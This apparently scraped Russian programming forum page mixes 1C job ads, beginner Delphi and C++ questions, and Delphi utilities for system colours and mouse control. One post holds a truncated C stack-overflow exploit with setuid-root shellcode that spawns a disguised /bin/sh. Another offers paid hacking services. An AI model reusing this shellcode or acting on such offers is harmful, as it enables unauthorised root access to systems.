Откройте свой Мир!

Ищу друзей программистов, для работ по совместным забавным интересам =) Казахстан, а еще лучше прямо из Усть-Каменогорска

Компания Мегастрой открыла новый отдел "Нанотехнологии и IT программирования".Вакантные должности:
Руководитель проекта.
В его обязанности входит : Доработать и создать программу. Новый поисковик , браузер.
И дальнейшее его продвижение.Условия работы,по трудовому договору,по результату работы подписываем контракт как создатель и 1 % акций браузера в ваш актив.
Создать не трудно .У каждого браузера своя фишка у нашего тоже.
По всем вопросам по тел.89627023360 в Спб

Доброго времени суток, нужна помощь имеется база в которой есть таблица с определенным количеством пользователей, как дать привилегии администратора нескольким пользователем а остальным закрыть такую возможность. База на ADO MsAccess. 

#include
#include
#include
#include

char shellcode[]=
"\x33\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x17" /* movb $0x17,%al */
"\xcd\x80" /* int $0x80 */
"\x33\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xb0\x2e" /* movb $0x2e,%al */
"\xcd\x80" /* int $0x80 */
"\xeb\x38" /* jmp 0x38 */
"\x5e" /* popl %esi */
"\x80\x46\x01\x50" /* addb $0x50,0x1(%esi) */
"\x80\x46\x02\x50" /* addb $0x50,0x2(%esi) */
"\x80\x46\x03\x50" /* addb $0x50,0x3(%esi) */
"\x80\x46\x05\x50" /* addb $0x50,0x5(%esi) */
"\x80\x46\x06\x50" /* addb $0x50,0x6(%esi) */
"\x89\xf0" /* movl %esi,%eax */
"\x83\xc0\x08" /* addl $0x8,%eax */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xc3\xff\xff\xff" /* call -0x3d */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh" */
/* /bin/sh is disguised */

unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *ptr, buf[600];

if (argc < 2)
{
printf("Please, enter offset.\n");
exit (0);
}

offset=atoi(argv[1]);
esp=get_sp();
ret=esp-offset;

printf("The stack pointer (ESP) is: 0x%x\n", esp);
printf("The offset from ESP is: 0x%x\n", offset);
printf("The return address is: 0x%x\n", ret);

ptr=buf;
addr_ptr=(long *)ptr;

for(i=0; i<600; i+=4)
{*(addr_ptr++)=ret;}

for(i=0; i<200; i++)
{buf[i]='\x90';}

ptr=buf+200;

for(i=0; i

Крупная региональная компания, лидер на рынке информационных технологий приглашает на работу Программиста 1С.

Требования:

·         Высшее образование, математический склад ума;

·         Опыт работы от 3-х лет;

·         Знание и опыт внедрения: 1С: Предприятие 8;

·         Знание предметной области продуктов 1С (управленческий учет в торговых компаниях) приветствуется

·         Наличие сертификатов от фирмы "1С" приветствуется.

 

 

Обязанности:          

·         Консультирование пользователей по правильному использованию продуктов 1С 8;

·         Внедрение, настройка, сопровождение, доработка конфигурации 1С: Предприятие 8.

·         Обучение пользователей работе в конфигурации 1С: Предприятие. 8

·         Участие во внутренних и внешних ИТ-проектах.

 

Условия:

·         Официальная з/п: оклад + премия;

·         Официальное трудоустройство по ТК;

·         Социальный пакет;

·         Корпоративное обучение  (Сертификация и обучение за счет компании).

·         Работа в комфортабельном офисе, (расположение – ЗЖМ);

·         Нормированный рабочий график, с 9.00 до 18.00ч;

·         Интересные задачи, неограниченные возможности для профессионального развития.

Как можно дополнить программу чтобы все изменения не исчезали после перезагрузки. Если сможете помогите. И отвечая предворительно на стандартный вопрос "Да, я вкурсе что это изобретение велосипеда. Просто интересно что нибудь поизобретать. Да и поповоду описаний цветов, это так сказать пометки для себя.". 

unit Unit1;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Spin;
type
  TForm1 = class(TForm)
    Button1: TButton;
    SpinEdit1: TSpinEdit;
    ColorDialog1: TColorDialog;
    ComboBox1: TComboBox;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure SpinEdit1Change(Sender: TObject);
    procedure ComboBox1Change(Sender: TObject);
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
var
  Form1: TForm1;
implementation
{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
c: tcolor;
g:integer;
begin
if colordialog1.Execute then
c:=colordialog1.Color;
g:=spinedit1.Value;
setsyscolors(1,g,c);
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
spinedit1.Value:=combobox1.ItemIndex;
if combobox1.ItemIndex=0 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=1 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=2 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=3 then label1.Caption:=combobox1.text+#13+'Цвет в активной метке. Можно увидеть в строке поиска торрент';
if combobox1.ItemIndex=4 then label1.Caption:=combobox1.text+#13+'Цвет в меню. Можно увидеть когда зажимаешь правую клавишу мыши';
if combobox1.ItemIndex=5 then label1.Caption:=combobox1.text+#13+'Меняет цыет окна. Тоесть внутри папки или окна что было белым поменяет свой цвет';
if combobox1.ItemIndex=6 then label1.Caption:=combobox1.text+#13+'Изменяется цвет обводки визуальных и выплывающих подсказок. А так же разделителей.';
if combobox1.ItemIndex=7 then label1.Caption:=combobox1.text+#13+'Меняет цвет текста в меню(тот текст, которым обозначается: Файл, правка, Вид. Или же им обозначаются весь текст в развернутом меню.). ';
if combobox1.ItemIndex=8 then label1.Caption:=combobox1.text+#13+'Меняет виндоусовский текст почти во всех документах';
if combobox1.ItemIndex=9 then label1.Caption:=combobox1.text+#13+'Меняет цвет заголовка программы. Т.е название программы в верхней синей основной панели.';
if combobox1.ItemIndex=10 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=11 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=12 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=13 then label1.Caption:=combobox1.text+#13+'Цвет кнопки при наведении. Или же при выделении файлов, цвет самого выделения.';
if combobox1.ItemIndex=14 then label1.Caption:=combobox1.text+#13+'Закрашивается высококонтрастный текст. Можно заметить в панели задач. Им обозначаются языки.';
if combobox1.ItemIndex=15 then label1.Caption:=combobox1.text+#13+'Интерфейсный цвет. Почти у всех программ Widows он изменяется.';
if combobox1.ItemIndex=16 then label1.Caption:=combobox1.text+#13+'За интерфейсный фон. Им обозначаются все тени окон. Не активные кнопки. И многие рамки окон.';
if combobox1.ItemIndex=17 then label1.Caption:=combobox1.text+#13+'Цвет не активной текстовой кнопки. Убирая фокус с окна увидишь что Файл, правка и тд. изменят цвет. Это дело для программ.';
if combobox1.ItemIndex=18 then label1.Caption:=combobox1.text+#13+'Цвет активной текстовой кнопки. Делая фокус в программе, увидишь что цвет верхних файл, правка и тд. изменился';
if combobox1.ItemIndex=19 then label1.Caption:=combobox1.text+#13+'Меняет цвет текста в неактивном заглавии окна. Т.е в самом верхнем синем окне.';
if combobox1.ItemIndex=20 then label1.Caption:=combobox1.text+#13+'Меняет цвет нижних панелей. Там где в экселе находятся листы.';
if combobox1.ItemIndex=21 then label1.Caption:=combobox1.text+#13+'Рамка вокруг 3D объектов. Можно увидеть когда открываешь цветовую палитру(цвет рамки вокруг цветов)';
if combobox1.ItemIndex=22 then label1.Caption:=combobox1.text+#13+'Тень от рамки 3d объектов. Можно увидеть когда открываешь цветовую палитру(тень от рамки вокруг цветов). ';
if combobox1.ItemIndex=23 then label1.Caption:=combobox1.text+#13+'Цвет текста подсказок. Наводим на файл и воуаля.';
if combobox1.ItemIndex=24 then label1.Caption:=combobox1.text+#13+'Цвет фона подсказок. Наводим на файл и воуаля.';
if combobox1.ItemIndex=25 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=26 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=27 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=28 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if combobox1.ItemIndex=29 then label1.Caption:=combobox1.text+#13+'Цвет наводки меню. Можно наглядно увидеть когда жмешь правую клавишу и водишь по меню мышкой.';
if combobox1.ItemIndex=30 then label1.Caption:=combobox1.text+#13+'Цвет панели меню';
end;

procedure TForm1.FormActivate(Sender: TObject);
begin
combobox1.SetFocus;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
combobox1.ItemIndex:=spinedit1.Value;
form1.Left:=screen.Width div 2;
form1.Top:=0;
end;

procedure TForm1.SpinEdit1Change(Sender: TObject);
begin
combobox1.ItemIndex:=spinedit1.Value;
if spinedit1.Value=0 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=1 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=2 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=3 then label1.Caption:=combobox1.text+#13+'Цвет в активной метке. Можно увидеть в строке поиска торрент';
if spinedit1.Value=4 then label1.Caption:=combobox1.text+#13+'Цвет в меню. Можно увидеть когда зажимаешь правую клавишу мыши';
if spinedit1.Value=5 then label1.Caption:=combobox1.text+#13+'Меняет цыет окна. Тоесть внутри папки или окна что было белым поменяет свой цвет';
if spinedit1.Value=6 then label1.Caption:=combobox1.text+#13+'Изменяется цвет обводки визуальных и выплывающих подсказок. А так же разделителей.';
if spinedit1.Value=7 then label1.Caption:=combobox1.text+#13+'Меняет цвет текста в меню(тот текст, которым обозначается: Файл, правка, Вид. Или же им обозначаются весь текст в развернутом меню.). ';
if spinedit1.Value=8 then label1.Caption:=combobox1.text+#13+'Меняет виндоусовский текст почти во всех документах';
if spinedit1.Value=9 then label1.Caption:=combobox1.text+#13+'Меняет цвет заголовка программы. Т.е название программы в верхней синей основной панели.';
if spinedit1.Value=10 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=11 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=12 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=13 then label1.Caption:=combobox1.text+#13+'Цвет кнопки при наведении. Или же при выделении файлов, цвет самого выделения.';
if spinedit1.Value=14 then label1.Caption:=combobox1.text+#13+'Закрашивается высококонтрастный текст. Можно заметить в панели задач. Им обозначаются языки.';
if spinedit1.Value=15 then label1.Caption:=combobox1.text+#13+'Интерфейсный цвет. Почти у всех программ Widows он изменяется.';
if spinedit1.Value=16 then label1.Caption:=combobox1.text+#13+'За интерфейсный фон. Им обозначаются все тени окон. Не активные кнопки. И многие рамки окон.';
if spinedit1.Value=17 then label1.Caption:=combobox1.text+#13+'Цвет не активной текстовой кнопки. Убирая фокус с окна увидишь что Файл, правка и тд. изменят цвет. Это дело для программ.';
if spinedit1.Value=18 then label1.Caption:=combobox1.text+#13+'Цвет активной текстовой кнопки. Делая фокус в программе, увидишь что цвет верхних файл, правка и тд. изменился';
if spinedit1.Value=19 then label1.Caption:=combobox1.text+#13+'Меняет цвет текста в неактивном заглавии окна. Т.е в самом верхнем синем окне.';
if spinedit1.Value=20 then label1.Caption:=combobox1.text+#13+'Меняет цвет нижних панелей. Там где в экселе находятся листы.';
if spinedit1.Value=21 then label1.Caption:=combobox1.text+#13+'Рамка вокруг 3D объектов. Можно увидеть когда открываешь цветовую палитру(цвет рамки вокруг цветов)';
if spinedit1.Value=22 then label1.Caption:=combobox1.text+#13+'Тень от рамки 3d объектов. Можно увидеть когда открываешь цветовую палитру(тень от рамки вокруг цветов). ';
if spinedit1.Value=23 then label1.Caption:=combobox1.text+#13+'Цвет текста подсказок. Наводим на файл и воуаля.';
if spinedit1.Value=24 then label1.Caption:=combobox1.text+#13+'Цвет фона подсказок. Наводим на файл и воуаля.';
if spinedit1.Value=25 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=26 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=27 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=28 then label1.Caption:=combobox1.text+#13+'Неизвестно что обозначается этим цветом';
if spinedit1.Value=29 then label1.Caption:=combobox1.text+#13+'Цвет наводки меню. Можно наглядно увидеть когда жмешь правую клавишу и водишь по меню мышкой.';
if spinedit1.Value=30 then label1.Caption:=combobox1.text+#13+'Цвет панели меню';
end;
end.

Крупная региональная компания, лидер на рынке информационных технологий приглашает на работу Программиста 1С.

Требования:

·         Высшее образование, математический склад ума;

·         Опыт работы от 3-х лет;

·         Знание и опыт внедрения: 1С: Предприятие 8: Бухгалтерия предприятия, ЗУП, УПП;

·         Понимание бухгалтерского учета;

·         Наличие сертификатов от фирмы "1С" приветствуется.

·         Опыт работы бухгалтером с функциями программиста 1С является преимуществом;

 

Обязанности:          

·         Консультирование Заказчиков по правильному использованию продуктов 1С (Бухгалтерия; ЗУП, УПП);

·         Внедрение, настройка, сопровождение 1С: Предприятие.

·         Участие во внутренних и внешних ИТ-проектах.

 

Условия:

·         Официальная з/п: оклад + премия;

·         Официальное трудоустройство по ТК;

·         Социальный пакет;

·         Корпоративное обучение  (Сертификация и обучение за счет компании).

·         Работа в комфортабельном офисе, (расположение – ЗЖМ);

·         Нормированный рабочий график, с 9.00 до 18.00ч;

·         Интересные задачи, неограниченные возможности для профессионального развития.

 

По всем вопросам пишите на hrгав uskточка самизнаетечто, либо комментируйте это сообщения, мы с вами свяжемся.

Спасибо

Бывают моменты когда ломается мышь. И либо не охото, либо нет времени купить мышь.

Так что от хорошего настроения и доброты душевной скидываю исходник
программы по управлению курсором и щелчками мыши на языке Delphi. Может
кому то нужно как мне иногда.

unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls;



type

  TForm1 = class(TForm)

    Button2: TButton;

    Button3: TButton;

    Button4: TButton;

    ComboBox1: TComboBox;

    ComboBox2: TComboBox;

    Edit1: TEdit;

    Edit2: TEdit;

    Button1: TButton;

    Label1: TLabel;

    Label2: TLabel;

    Button5: TButton;

    procedure Button2Click(Sender: TObject);

    procedure Button3Click(Sender: TObject);

    procedure Button4Click(Sender: TObject);

    procedure FormCreate(Sender: TObject);

    procedure ComboBox1Change(Sender: TObject);

    procedure ComboBox2Change(Sender: TObject);

    procedure Button1Click(Sender: TObject);

    procedure Button5Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;



var

  Form1: TForm1;

  x,y:integer;                            // Объявляем глобальные переменные



implementation



{$R *.dfm}



procedure TForm1.Button1Click(Sender: TObject);

begin

form1.Left:=strtoint(edit1.Text);   // Кнопка при нажатии переносит форму по

form1.Top:=strtoint(edit2.Text);    // указанным координатам в комбомассиве

end;



procedure TForm1.Button2Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0);   // Функция зажатия левой клавиши мыши

mouse_event(mouseeventf_leftup,0,0,0,0);     // Функция разжатия левой клавиши мыши

end;



procedure TForm1.Button3Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0); // Повторяем предыдущую функцию нажатия и разжатия мыши

mouse_event(mouseeventf_leftup,0,0,0,0);   // чтобы мы могли выделить объект

mouse_event(mouseeventf_rightdown,0,0,0,0); // Далее зажимаем правую клавишу мыши

mouse_event(mouseeventf_rightup,0,0,0,0);   // Далее разжимаем правую клавишу мыши

end;



procedure TForm1.Button4Click(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // переводим в числовое значение строку

y:=strtoint(combobox2.Text);   // переводим в числовое значение строку

setcursorpos(x,y);             // Переводим курсор в указанное место

mouse_event(mouseeventf_leftdown,0,0,0,0); // Если мы повторим дважды функцию нажатия

mouse_event(mouseeventf_leftup,0,0,0,0);   // и разжатия клавиши мыши, то у нас получится

mouse_event(mouseeventf_leftdown,0,0,0,0); // Двойной щелчек мыши

mouse_event(mouseeventf_leftup,0,0,0,0);

end;



procedure TForm1.Button5Click(Sender: TObject);

begin

form1.Close;

end;



procedure TForm1.ComboBox1Change(Sender: TObject);

begin

x:=strtoint(combobox1.Text);   // При изменении комбобокса меняется положение курсора по х

y:=strtoint(combobox2.Text);

setcursorpos(x,y);             // Переводим курсор в указанное место

end;



procedure TForm1.ComboBox2Change(Sender: TObject);

begin

x:=strtoint(combobox1.Text);

y:=strtoint(combobox2.Text);   // При изменении комбобокса меняется положение курсора по y

setcursorpos(x,y);             // Переводим курсор в указанное место

end;



procedure TForm1.FormCreate(Sender: TObject);

var i,j:integer;

begin

for i := 1 to 3000 do              // создаем массив цифр

combobox1.Items.Add(inttostr(i));  // Добовляем цифры в комбобокс

for j := 1 to 3000 do              // создаем массив цифр

combobox2.Items.Add(inttostr(j));  // Добовляем цифры в комбобокс

form1.Left:=0;

form1.Top:=0;

form1.Color:=rgb(100,100,255);

end;



end.

Товариши. Не в курсе, куда подевался дружелюбный сайт www.delphilab.ru и вообще он будет еще работать.

Есть ли те кто работал с интегрированной Delphi начиная с 2009 по 2011 версиями. У них есть странный глюк. Если же ставишь на чистую винду с Netframewok то установка проходит идеально. А если же установить несколько офисных программ типа MS word, FineRider то во время установки возникает ошибка regasm, непомню что дальше написано, помню только что она возникает много раз и в конце установки программа не запускается. Что сделать в случае если установил все программы, исключая переустановку ОС.

Люди, помогите начинающиму студенту програмисту. Каким оброзом можно подключить рисунок формата JPEG к программе на языке С++. Какой модуль использовать и как его реализовать.

Здравствуйте и доброго времени суток !
А теперь к самому интересному ! 
Имеется два массива точек образующих поверхности  ! 
Каким образом можно пересечь эти поверхности ? 

Кто знает алгоритмы (желательно быстрые) решения сего беспредела ?

подскажите любой ли биос может увидеть флешку если с нее устанавливать виндовс? или для таких целей нужно боис поменять? Спасибо за ответ

procedure TForm1.FormCreate(Sender: TObject);
begin
asm
.....
out 61h,al
.....
end;
end;
показывает ошибка "privileged instruction" как правильно записать чтобы не было этой ошибки?

#include "stdio.h"
#include "conio.h"
#include

void main()
{
    setlocale(LC_ALL, "Russian");
  float c,k;

  fflush(stdin);
  printf("Введите число с плав. точкой: ");
  scanf("%f",&c);
  printf("Введите число с плав. точкой: ");
  scanf("%f",&k);
  printf("c(e)=%10.5e \n", c,c);
  printf(" k(e)=%10.5e \n", k,k);
  getch();
 
}



Почему без подключения русского языка программа работает, а с подключением не работает?

Помогите пожалуйста написать алгоритм растеризации эллипса в Delphi.

Имеется двухмерный массив 5x6 в виде компонента StringGrid, кнопка «Расчет», кнопка «Случайные
значения» и компонент «Memo» для отображения текста варианта задания. Кнопка «Случайные значения»
заполняет массив случайными значениями от -20 до 100. Кнопка «Расчет» выполняет обработку массива по
заданному в варианте алгоритму.
Найти количество нулей во второй строке таблицы и заменить на это значение максимальный элемент
второго столбца

написал код но чёто неправельно посмотрите .
Var A:array [-20..100] of integer; i,j: integer;
begin
Randomize;
for i:=0 to StringGrid1.Colcount do
for j:=0 to Stringgrid1.RowCount do
begin
Stringgrid1.Cells[i,j]:=inttostr(random(10));
end;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
schet:=0;
max:=0;
for i := 0 to StringGrid1.ColCount - 1 do
if StrToInt(StringGrid1.Cells[i,1]) = 0 then
begin
inc(schet);
end;
for j := 0 to StringGrid1.ColCount - 1 do
if StrToInt(StringGrid1.Cells[j,1])>max then
begin
max:=StrToInt(StringGrid1.Cells[j,1]);
i:=j;
stringgrid1.cells[i, 1]:= inttostr(schet);
end;
end;
end.

Любые услуги в сети интернет (php, html,
mysql, c++ и все все все), движки, моды, серверы, взлом всего что глаза
видят, не дорого (wmz или wmr), писать в лс.

Я переустановила систему теперь все данные на разделе D не показывается как я могу их восстановить?

Ищу программистов, знающих язык MQ4 и ACTFX

надеюсь большинство выходят в асю или в агент...неужели новички и матерые компьюторщики не общаются и не пишут на скл хтмл или яваме...ну или еще на чем...прошу отзовитесь и те кому безопасность не чужда...ася606099444

надеюсь большинство выходят в асю или в агент...неужели новички и матерые компьюторщики не общаются и не пишут на скл хтмл или яваме...ну или еще на чем...прошу отзовитесь и те кому

Требования

Возраст от 25 до 35 лет

Опыт работы от 2 лет

Опыт работы в 1С8 от 1 года

Знакомство с конфигурацией УПП – большой плюс


Обязанности

Поддержка и плановое развитие существующей конфигурации

Поддержка пользователей


Условия

В крупную московскую компанию (производство мебели) требуется Программист 1С8

Оформление по ТК

белая з/п, от 60 000, работа в офисе в г. Зеленоград


Контакты

ФИО: Лория 

Телефон: (926) 3858625

E-Mail: lorija@list.ru, ludin@keypersonal.ru